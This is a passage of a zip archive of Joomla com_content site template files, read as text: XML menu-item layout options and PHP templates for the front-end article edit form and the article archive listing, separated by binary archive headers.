				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_author"
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="link_author"
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="show_create_date"
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_modify_date"
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_publish_date"
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_item_navigation"
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_vote"
				type="votelist"
				label="JGLOBAL_SHOW_VOTE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_hits"
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="JGLOBAL_SHOW_TAGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_noauth"
				type="list"
				label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
				description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="urls_position"
				type="list"
				label="COM_CONTENT_FIELD_URLSPOSITION_LABEL"
				useglobal="true"
				filter="integer"
				validate="options"
				>
				<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
				<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
				<option value="-1">JHIDE</option>
			</field>
		</fieldset>
	</fields>
</metadata>
PK���\j��2!!com_content/tmpl/form/edit.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTENT_FORM_VIEW_DEFAULT_TITLE" option="COM_CONTENT_FORM_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Create_Article"
		/>
		<message>
			<![CDATA[COM_CONTENT_FORM_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="params">
		<fieldset name="basic"
			addfieldprefix="Joomla\Component\Categories\Administrator\Field"
		>
			<field
				name="enable_category"
				type="radio"
				label="COM_CONTENT_CREATE_ARTICLE_CATEGORY_LABEL"
				layout="joomla.form.field.radio.switcher"
				default="0"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="catid"
				type="modal_category"
				label="JGLOBAL_CHOOSE_CATEGORY_LABEL"
				extension="com_content"
				select="true"
				new="true"
				edit="true"
				clear="true"
				showon="enable_category:1"
			/>

			<field
				name="redirect_menuitem"
				type="modal_menu"
				label="COM_CONTENT_CREATE_ARTICLE_REDIRECTMENU_LABEL"
				description="COM_CONTENT_CREATE_ARTICLE_REDIRECTMENU_DESC"
				>
				<option value="">JDEFAULT</option>
			</field>

			<field
				name="custom_cancel_redirect"
				type="radio"
				label="COM_CONTENT_CREATE_ARTICLE_CUSTOM_CANCEL_REDIRECT_LABEL"
				description="COM_CONTENT_CREATE_ARTICLE_CUSTOM_CANCEL_REDIRECT_DESC"
				layout="joomla.form.field.radio.switcher"
				default="0"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="cancel_redirect_menuitem"
				type="modal_menu"
				label="COM_CONTENT_CREATE_ARTICLE_CANCEL_REDIRECT_MENU_LABEL"
				description="COM_CONTENT_CREATE_ARTICLE_CANCEL_REDIRECT_MENU_DESC"
				showon="custom_cancel_redirect:1"
				>
				<option value="">JDEFAULT</option>
			</field>
		</fieldset>
	</fields>
</metadata>
PK���\�^�A#A#com_content/tmpl/form/edit.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate')
    ->useScript('com_content.form-edit');

$this->tab_name = 'com-content-form';
$this->ignore_fieldsets = ['image-intro', 'image-full', 'jmetadata', 'item_associations'];
$this->useCoreUI = true;

// Create shortcut to parameters.
$params = $this->state->get('params');

// This checks if the editor config options have ever been saved. If they haven't they will fall back to the original settings
if (!$params->exists('show_publishing_options')) {
    $params->set('show_urls_images_frontend', '0');
}
?>
<div class="edit item-page">
    <?php if ($params->get('show_page_heading')) : ?>
    <div class="page-header">
        <h1>
            <?php echo $this->escape($params->get('page_heading')); ?>
        </h1>
    </div>
    <?php endif; ?>

    <form action="<?php echo Route::_('index.php?option=com_content&a_id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="adminForm" class="form-validate form-vertical">
        <fieldset>
            <?php echo HTMLHelper::_('uitab.startTabSet', $this->tab_name, ['active' => 'editor', 'recall' => true, 'breakpoint' => 768]); ?>

            <?php echo HTMLHelper::_('uitab.addTab', $this->tab_name, 'editor', Text::_('COM_CONTENT_ARTICLE_CONTENT')); ?>
                <?php echo $this->form->renderField('title'); ?>

                <?php if (is_null($this->item->id)) : ?>
                    <?php echo $this->form->renderField('alias'); ?>
                <?php endif; ?>

                <?php echo $this->form->renderField('articletext'); ?>

                <?php if ($this->captchaEnabled) : ?>
                    <?php echo $this->form->renderField('captcha'); ?>
                <?php endif; ?>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>

            <?php if ($params->get('show_urls_images_frontend')) : ?>
                <?php echo HTMLHelper::_('uitab.addTab', $this->tab_name, 'images', Text::_('COM_CONTENT_IMAGES_AND_URLS')); ?>
                <?php echo $this->form->renderField('image_intro', 'images'); ?>
                <?php echo $this->form->renderField('image_intro_alt', 'images'); ?>
                <?php echo $this->form->renderField('image_intro_alt_empty', 'images'); ?>
                <?php echo $this->form->renderField('image_intro_caption', 'images'); ?>
                <?php echo $this->form->renderField('float_intro', 'images'); ?>
                <?php echo $this->form->renderField('image_fulltext', 'images'); ?>
                <?php echo $this->form->renderField('image_fulltext_alt', 'images'); ?>
                <?php echo $this->form->renderField('image_fulltext_alt_empty', 'images'); ?>
                <?php echo $this->form->renderField('image_fulltext_caption', 'images'); ?>
                <?php echo $this->form->renderField('float_fulltext', 'images'); ?>
                <?php echo $this->form->renderField('urla', 'urls'); ?>
                <?php echo $this->form->renderField('urlatext', 'urls'); ?>
                <div class="control-group">
                    <div class="controls">
                        <?php echo $this->form->getInput('targeta', 'urls'); ?>
                    </div>
                </div>
                <?php echo $this->form->renderField('urlb', 'urls'); ?>
                <?php echo $this->form->renderField('urlbtext', 'urls'); ?>
                <div class="control-group">
                    <div class="controls">
                        <?php echo $this->form->getInput('targetb', 'urls'); ?>
                    </div>
                </div>
                <?php echo $this->form->renderField('urlc', 'urls'); ?>
                <?php echo $this->form->renderField('urlctext', 'urls'); ?>
                <div class="control-group">
                    <div class="controls">
                        <?php echo $this->form->getInput('targetc', 'urls'); ?>
                    </div>
                </div>
                <?php echo HTMLHelper::_('uitab.endTab'); ?>
            <?php endif; ?>

            <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>

            <?php echo HTMLHelper::_('uitab.addTab', $this->tab_name, 'publishing', Text::_('COM_CONTENT_PUBLISHING')); ?>

                <?php echo $this->form->renderField('transition'); ?>
                <?php echo $this->form->renderField('state'); ?>
                <?php echo $this->form->renderField('catid'); ?>
                <?php echo $this->form->renderField('tags'); ?>
                <?php echo $this->form->renderField('note'); ?>
                <?php if ($params->get('save_history', 0)) : ?>
                    <?php echo $this->form->renderField('version_note'); ?>
                <?php endif; ?>
                <?php if ($params->get('show_publishing_options', 1) == 1) : ?>
                    <?php echo $this->form->renderField('created_by_alias'); ?>
                <?php endif; ?>
                <?php if ($this->item->params->get('access-change')) : ?>
                    <?php echo $this->form->renderField('featured'); ?>
                    <?php if ($params->get('show_publishing_options', 1) == 1) : ?>
                        <?php echo $this->form->renderField('featured_up'); ?>
                        <?php echo $this->form->renderField('featured_down'); ?>
                        <?php echo $this->form->renderField('publish_up'); ?>
                        <?php echo $this->form->renderField('publish_down'); ?>
                    <?php endif; ?>
                <?php endif; ?>
                <?php echo $this->form->renderField('access'); ?>
                <?php if (is_null($this->item->id)) : ?>
                    <div class="control-group">
                        <div class="control-label">
                        </div>
                        <div class="controls">
                            <?php echo Text::_('COM_CONTENT_ORDERING'); ?>
                        </div>
                    </div>
                <?php endif; ?>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>

            <?php if (Multilanguage::isEnabled()) : ?>
                <?php echo HTMLHelper::_('uitab.addTab', $this->tab_name, 'language', Text::_('JFIELD_LANGUAGE_LABEL')); ?>
                    <?php echo $this->form->renderField('language'); ?>
                <?php echo HTMLHelper::_('uitab.endTab'); ?>
            <?php else : ?>
                <?php echo $this->form->renderField('language'); ?>
            <?php endif; ?>

            <?php if ($params->get('show_publishing_options', 1) == 1) : ?>
                <?php echo HTMLHelper::_('uitab.addTab', $this->tab_name, 'metadata', Text::_('COM_CONTENT_METADATA')); ?>
                    <?php echo $this->form->renderField('metadesc'); ?>
                    <?php echo $this->form->renderField('metakey'); ?>
                <?php echo HTMLHelper::_('uitab.endTab'); ?>
            <?php endif; ?>

            <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

            <input type="hidden" name="task" value="">
            <input type="hidden" name="return" value="<?php echo $this->return_page; ?>">
            <?php echo HTMLHelper::_('form.token'); ?>
        </fieldset>
        <div class="mb-2">
            <button type="button" class="btn btn-primary" data-submit-task="article.apply">
                <span class="icon-check" aria-hidden="true"></span>
                <?php echo Text::_('JSAVE'); ?>
            </button>
            <button type="button" class="btn btn-primary" data-submit-task="article.save">
                <span class="icon-check" aria-hidden="true"></span>
                <?php echo Text::_('JSAVEANDCLOSE'); ?>
            </button>
            <?php if ($this->showSaveAsCopy) : ?>
                <button type="button" class="btn btn-primary" data-submit-task="article.save2copy">
                    <span class="icon-copy" aria-hidden="true"></span>
                    <?php echo Text::_('JSAVEASCOPY'); ?>
                </button>
            <?php endif; ?>
            <button type="button" class="btn btn-danger" data-submit-task="article.cancel">
                <span class="icon-times" aria-hidden="true"></span>
                <?php echo Text::_('JCANCEL'); ?>
            </button>
            <?php if ($params->get('save_history', 0) && $this->item->id) : ?>
                <?php echo $this->form->getInput('contenthistory'); ?>
            <?php endif; ?>
        </div>
    </form>
</div>
PK���\�w��

$com_content/tmpl/archive/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

?>
<div class="com-content-archive archive">
<?php if ($this->params->get('show_page_heading')) : ?>
    <div class="page-header">
        <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    </div>
<?php endif; ?>

<form id="adminForm" action="<?php echo Route::_('index.php'); ?>" method="post" class="com-content-archive__form">
    <fieldset class="com-content-archive__filters filters">
        <legend class="visually-hidden">
            <?php echo Text::_('COM_CONTENT_FORM_FILTER_LEGEND'); ?>
        </legend>
        <div class="filter-search form-inline">
            <?php if ($this->params->get('filter_field') !== 'hide') : ?>
            <div class="mb-2">
                <label class="filter-search-lbl visually-hidden" for="filter-search"><?php echo Text::_('COM_CONTENT_TITLE_FILTER_LABEL') . '&#160;'; ?></label>
                <input type="text" name="filter-search" id="filter-search" value="<?php echo $this->escape($this->filter); ?>" class="inputbox col-md-2" onchange="document.getElementById('adminForm').submit();" placeholder="<?php echo Text::_('COM_CONTENT_TITLE_FILTER_LABEL'); ?>">
            </div>
            <?php endif; ?>

            <span class="me-2">
                <label class="visually-hidden" for="month"><?php echo Text::_('JMONTH'); ?></label>
                <?php echo $this->form->monthField; ?>
            </span>
            <span class="me-2">
                <label class="visually-hidden" for="year"><?php echo Text::_('JYEAR'); ?></label>
                <?php echo $this->form->yearField; ?>
            </span>
            <span class="me-2">
                <label class="visually-hidden" for="limit"><?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?></label>
                <?php echo $this->form->limitField; ?>
            </span>

            <button type="submit" class="btn btn-primary" style="vertical-align: top;"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
            <input type="hidden" name="view" value="archive">
            <input type="hidden" name="option" value="com_content">
            <input type="hidden" name="limitstart" value="0">
        </div>
    </fieldset>
</form>
<?php echo $this->loadTemplate('items'); ?>
</div>
PK���\����~~$com_content/tmpl/archive/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTENT_ARCHIVE_VIEW_DEFAULT_TITLE" option="COM_CONTENT_ARCHIVE_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Article_Archived"
		/>
		<message>
			<![CDATA[COM_CONTENT_ARCHIVE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request">
			<field
				name="catid"
				type="category"
				label="JCATEGORY"
				extension="com_content"
				multiple="true"
				layout="joomla.form.field.list-fancy-select"
				default=" "
				>
				<option value=" ">JOPTION_ALL_CATEGORIES</option>
			</field>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="basic" label="JGLOBAL_ARCHIVE_OPTIONS"
		>

			<field
				name="orderby_sec"
				type="list"
				label="JGLOBAL_ARTICLE_ORDER_LABEL"
				default="alpha"
				validate="options"
				>
				<option value="date">JGLOBAL_OLDEST_FIRST</option>
				<option value="rdate">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="author">JGLOBAL_AUTHOR_ALPHABETICAL</option>
				<option value="rauthor">JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL</option>
				<option value="hits" requires="hits">JGLOBAL_MOST_HITS</option>
				<option value="rhits" requires="hits">JGLOBAL_LEAST_HITS</option>
				<option value="order">JGLOBAL_ARTICLE_MANAGER_ORDER</option>
				<option value="vote" requires="vote">JGLOBAL_VOTES_DESC</option>
				<option value="rvote" requires="vote">JGLOBAL_VOTES_ASC</option>
				<option value="rank" requires="vote">JGLOBAL_RATINGS_DESC</option>
				<option value="rrank" requires="vote">JGLOBAL_RATINGS_ASC</option>
			</field>

			<field
				name="order_date"
				type="list"
				label="JGLOBAL_ORDERING_DATE_LABEL"
				default="created"
				validate="options"
				>
				<option value="created">JGLOBAL_Created</option>
				<option value="modified">JGLOBAL_Modified</option>
				<option value="published">JPUBLISHED</option>
			</field>

			<field
				name="display_num"
				type="list"
				label="JGLOBAL_NUMBER_ITEMS_LIST_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="100">J100</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="hide">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="introtext_limit"
				type="number"
				label="JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_LABEL"
				filter="integer"
				default="100"
			/>

		</fieldset>

		<!-- Articles options. -->
		<fieldset name="articles"
			label="COM_CONTENT_ATTRIBS_ARTICLE_SETTINGS_LABEL"
		>

			<field
				name="show_intro"
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="info_block_position"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_POSITION_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
				<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
				<option value="2">COM_CONTENT_FIELD_OPTION_SPLIT</option>
			</field>

			<field
				name="info_block_show_title"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_category"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_category"
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_parent_category"
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="link_parent_category"
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option	value="0">JNO</option>
				<option	value="1">JYES</option>
			</field>

			<field
				name="link_titles"
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				description="JGLOBAL_LINKED_TITLES_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_author"
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_author"
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option	value="0">JNO</option>
				<option	value="1">JYES</option>
			</field>

			<field
				name="show_create_date"
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_modify_date"
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_publish_date"
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_item_navigation"
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_hits"
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

	</fields>
</metadata>
PK���\~!�H5H5*com_content/tmpl/archive/default_items.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;

$params = $this->params;
?>
<div id="archive-items" class="com-content-archive__items">
    <?php foreach ($this->items as $i => $item) : ?>
        <?php $info = $item->params->get('info_block_position', 0); ?>
        <div class="row<?php echo $i % 2; ?>" itemscope itemtype="https://schema.org/Article">
            <div class="page-header">
                <h2 itemprop="headline">
                    <?php if ($params->get('link_titles')) : ?>
                        <a href="<?php echo Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)); ?>" itemprop="url">
                            <?php echo $this->escape($item->title); ?>
                        </a>
                    <?php else : ?>
                        <?php echo $this->escape($item->title); ?>
                    <?php endif; ?>
                </h2>

                <?php // Content is generated by content plugin event "onContentAfterTitle" ?>
                <?php echo $item->event->afterDisplayTitle; ?>

                <?php if ($params->get('show_author') && !empty($item->author)) : ?>
                    <div class="createdby" itemprop="author" itemscope itemtype="https://schema.org/Person">
                    <?php $author = $item->created_by_alias ?: $item->author; ?>
                    <?php $author = '<span itemprop="name">' . $author . '</span>'; ?>
                        <?php if (!empty($item->contact_link) && $params->get('link_author') == true) : ?>
                            <?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY', HTMLHelper::_('link', $this->item->contact_link, $author, ['itemprop' => 'url'])); ?>
                        <?php else : ?>
                            <?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY', $author); ?>
                        <?php endif; ?>
                    </div>
                <?php endif; ?>
            </div>
        <?php $useDefList = ($params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
            || $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category')); ?>
        <?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
            <div class="com-content-archive__info article-info text-muted">
                <dl class="article-info">
                <dt class="article-info-term">
                    <?php echo Text::_('COM_CONTENT_ARTICLE_INFO'); ?>
                </dt>

                <?php if ($params->get('show_parent_category') && !empty($item->parent_id)) : ?>
                    <dd>
                        <div class="parent-category-name">
                            <?php $title = $this->escape($item->parent_title); ?>
                            <?php if ($params->get('link_parent_category') && !empty($item->parent_id)) : ?>
                                <?php $url = '<a href="' . Route::_(
                                    RouteHelper::getCategoryRoute($item->parent_id, $item->parent_language)
                                )
                                    . '" itemprop="genre">' . $title . '</a>'; ?>
                                <?php echo Text::sprintf('COM_CONTENT_PARENT', $url); ?>
                            <?php else : ?>
                                <?php echo Text::sprintf('COM_CONTENT_PARENT', '<span itemprop="genre">' . $title . '</span>'); ?>
                            <?php endif; ?>
                        </div>
                    </dd>
                <?php endif; ?>
                <?php if ($params->get('show_category')) : ?>
                    <dd>
                        <div class="category-name">
                            <?php $title = $this->escape($item->category_title); ?>
                            <?php if ($params->get('link_category') && $item->catid) : ?>
                                <?php $url = '<a href="' . Route::_(
                                    RouteHelper::getCategoryRoute($item->catid, $item->category_language)
                                )
                                    . '" itemprop="genre">' . $title . '</a>'; ?>
                                <?php echo Text::sprintf('COM_CONTENT_CATEGORY', $url); ?>
                            <?php else : ?>
                                <?php echo Text::sprintf('COM_CONTENT_CATEGORY', '<span itemprop="genre">' . $title . '</span>'); ?>
                            <?php endif; ?>
                        </div>
                    </dd>
                <?php endif; ?>

                <?php if ($params->get('show_publish_date')) : ?>
                    <dd>
                        <div class="published">
                            <span class="icon-calendar-alt" aria-hidden="true"></span>
                            <time datetime="<?php echo HTMLHelper::_('date', $item->publish_up, 'c'); ?>" itemprop="datePublished">
                                <?php echo Text::sprintf('COM_CONTENT_PUBLISHED_DATE_ON', HTMLHelper::_('date', $item->publish_up, Text::_('DATE_FORMAT_LC3'))); ?>
                            </time>
                        </div>
                    </dd>
                <?php endif; ?>

                <?php if ($info == 0) : ?>
                    <?php if ($params->get('show_modify_date')) : ?>
                        <dd>
                            <div class="modified">
                                <span class="icon-calendar-alt" aria-hidden="true"></span>
                                <time datetime="<?php echo HTMLHelper::_('date', $item->modified, 'c'); ?>" itemprop="dateModified">
                                    <?php echo Text::sprintf('COM_CONTENT_LAST_UPDATED', HTMLHelper::_('date', $item->modified, Text::_('DATE_FORMAT_LC3'))); ?>
                                </time>
                            </div>
                        </dd>
                    <?php endif; ?>
                    <?php if ($params->get('show_create_date')) : ?>
                        <dd>
                            <div class="create">
                                <span class="icon-calendar-alt" aria-hidden="true"></span>
                                <time datetime="<?php echo HTMLHelper::_('date', $item->created, 'c'); ?>" itemprop="dateCreated">
                                    <?php echo Text::sprintf('COM_CONTENT_CREATED_DATE_ON', HTMLHelper::_('date', $item->created, Text::_('DATE_FORMAT_LC3'))); ?>
                                </time>
                            </div>
                        </dd>
                    <?php endif; ?>

                    <?php if ($params->get('show_hits')) : ?>
                        <dd>
                            <div class="hits">
                                <span class="icon-eye"></span>
                                <meta itemprop="interactionCount" content="UserPageVisits:<?php echo $item->hits; ?>">
                                <?php echo Text::sprintf('COM_CONTENT_ARTICLE_HITS', $item->hits); ?>
                            </div>
                        </dd>
                    <?php endif; ?>
                <?php endif; ?>
                </dl>
            </div>
        <?php endif; ?>

        <?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
        <?php echo $item->event->beforeDisplayContent; ?>
        <?php if ($params->get('show_intro')) : ?>
            <div class="intro" itemprop="articleBody"> <?php echo HTMLHelper::_('string.truncateComplex', $item->introtext, $params->get('introtext_limit')); ?> </div>
        <?php endif; ?>

        <?php if ($useDefList && ($info == 1 || $info == 2)) : ?>
            <div class="article-info text-muted">
                <dl class="article-info">
                <dt class="article-info-term"><?php echo Text::_('COM_CONTENT_ARTICLE_INFO'); ?></dt>

                <?php if ($info == 1) : ?>
                    <?php if ($params->get('show_parent_category') && !empty($item->parent_id)) : ?>
                        <dd>
                            <div class="parent-category-name">
                                <?php $title = $this->escape($item->parent_title); ?>
                                <?php if ($params->get('link_parent_category') && $item->parent_id) : ?>
                                    <?php $url = '<a href="' . Route::_(
                                        RouteHelper::getCategoryRoute($item->parent_id, $item->parent_language)
                                    )
                                        . '" itemprop="genre">' . $title . '</a>'; ?>
                                    <?php echo Text::sprintf('COM_CONTENT_PARENT', $url); ?>
                                <?php else : ?>
                                    <?php echo Text::sprintf('COM_CONTENT_PARENT', '<span itemprop="genre">' . $title . '</span>'); ?>
                                <?php endif; ?>
                            </div>
                        </dd>
                    <?php endif; ?>
                    <?php if ($params->get('show_category')) : ?>
                        <dd>
                            <div class="category-name">
                                <?php $title = $this->escape($item->category_title); ?>
                                <?php if ($params->get('link_category') && $item->catid) : ?>
                                    <?php $url = '<a href="' . Route::_(
                                        RouteHelper::getCategoryRoute($item->catid, $item->category_language)
                                    )
                                        . '" itemprop="genre">' . $title . '</a>'; ?>
                                    <?php echo Text::sprintf('COM_CONTENT_CATEGORY', $url); ?>
                                <?php else : ?>
                                    <?php echo Text::sprintf('COM_CONTENT_CATEGORY', '<span itemprop="genre">' . $title . '</span>'); ?>
                                <?php endif; ?>
                            </div>
                        </dd>
                    <?php endif; ?>
                    <?php if ($params->get('show_publish_date')) : ?>
                        <dd>
                            <div class="published">
                                <span class="icon-calendar-alt" aria-hidden="true"></span>
                                <time datetime="<?php echo HTMLHelper::_('date', $item->publish_up, 'c'); ?>" itemprop="datePublished">
                                    <?php echo Text::sprintf('COM_CONTENT_PUBLISHED_DATE_ON', HTMLHelper::_('date', $item->publish_up, Text::_('DATE_FORMAT_LC3'))); ?>
                                </time>
                            </div>
                        </dd>
                    <?php endif; ?>
                <?php endif; ?>

                <?php if ($params->get('show_create_date')) : ?>
                    <dd>
                        <div class="create">
                            <span class="icon-calendar-alt" aria-hidden="true"></span>
                            <time datetime="<?php echo HTMLHelper::_('date', $item->created, 'c'); ?>" itemprop="dateCreated">
                                <?php echo Text::sprintf('COM_CONTENT_CREATED_DATE_ON', HTMLHelper::_('date', $item->modified, Text::_('DATE_FORMAT_LC3'))); ?>
                            </time>
                        </div>
                    </dd>
                <?php endif; ?>
                <?php if ($params->get('show_modify_date')) : ?>
                    <dd>
                        <div class="modified">
                            <span class="icon-calendar-alt" aria-hidden="true"></span>
                            <time datetime="<?php echo HTMLHelper::_('date', $item->modified, 'c'); ?>" itemprop="dateModified">
                                <?php echo Text::sprintf('COM_CONTENT_LAST_UPDATED', HTMLHelper::_('date', $item->modified, Text::_('DATE_FORMAT_LC3'))); ?>
                            </time>
                        </div>
                    </dd>
                <?php endif; ?>
                <?php if ($params->get('show_hits')) : ?>
                    <dd>
                        <div class="hits">
                            <span class="icon-eye"></span>
